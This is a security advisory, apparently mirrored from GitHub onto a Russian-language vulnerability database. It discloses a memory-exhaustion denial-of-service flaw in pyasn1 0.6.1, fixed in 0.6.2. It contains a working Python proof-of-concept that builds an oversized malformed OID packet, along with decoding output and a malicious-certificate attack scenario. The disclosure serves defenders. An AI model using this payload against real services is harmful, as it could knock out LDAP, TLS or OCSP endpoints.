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GHSA-63vm-454h-vhhq

Опубликовано: 16 янв. 2026
Источник: github
Github: Прошло ревью
CVSS3: 7.5

Описание

pyasn1 has a DoS vulnerability in decoder

Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

Details

The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

PoC

For the DoS:

import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource # Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024)) print("[*] Memory limit set to 100MB") except: print("[-] Could not set memory limit") # Test with different payload sizes to find the DoS threshold payload_size_mb = int(sys.argv[1]) print(f"[*] Testing with {payload_size_mb}MB payload...") payload_size = payload_size_mb * 1024 * 1024 # Create payload with continuation octets # Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' * payload_size + b'\x00' length = len(payload) # DER length encoding (supports up to 4GB) if length < 128: length_bytes = bytes([length]) elif length < 256: length_bytes = b'\x81' + length.to_bytes(1, 'big') elif length < 256**2: length_bytes = b'\x82' + length.to_bytes(2, 'big') elif length < 256**3: length_bytes = b'\x83' + length.to_bytes(3, 'big') else: # 4 bytes can handle up to 4GB length_bytes = b'\x84' + length.to_bytes(4, 'big') # Use OID (0x06) for more aggressive parsing malicious_packet = b'\x06' + length_bytes + payload print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB") try: print("[*] Decoding (this may take time or exhaust memory)...") result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier()) print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes') # Try to convert to string print('[*] Converting to string...') try: str_result = str(result[0]) print(f'[+] String succeeded: {len(str_result)} chars') if len(str_result) > 10000: print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).__name__} during string conversion') except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}') print("\n[*] Test completed")

Screenshots with the results:

DoS

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Leak analysis

A potential heap leak was investigated but came back clean:

[*] Creating 1000KB payload... [*] Decoding with pyasn1... [*] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heap_dump.bin [*] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081 [*] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @. [*] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1%

Scenario

  1. An attacker creates a malicious X.509 certificate.
  2. The application validates certificates.
  3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

Impact

This issue can affect resource consumption and hang systems or stop services. This may affect:

  • LDAP servers
  • TLS/SSL endpoints
  • OCSP responders
  • etc.

Recommendation

Add a limit to the allowed bytes in the decoder.

Пакеты

Наименование

pyasn1

pip
Затронутые версииВерсия исправления

= 0.6.1

0.6.2

EPSS

Процентиль: 11%
0.00038
Низкий

7.5 High

CVSS3

Дефекты

CWE-400
CWE-770

Связанные уязвимости

CVSS3: 7.5
nvd
3 дня назад

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.2, a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. This vulnerability is fixed in 0.6.2.

CVSS3: 7.5
debian
3 дня назад

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.2, a Denial ...

EPSS

Процентиль: 11%
0.00038
Низкий

7.5 High

CVSS3

Дефекты

CWE-400
CWE-770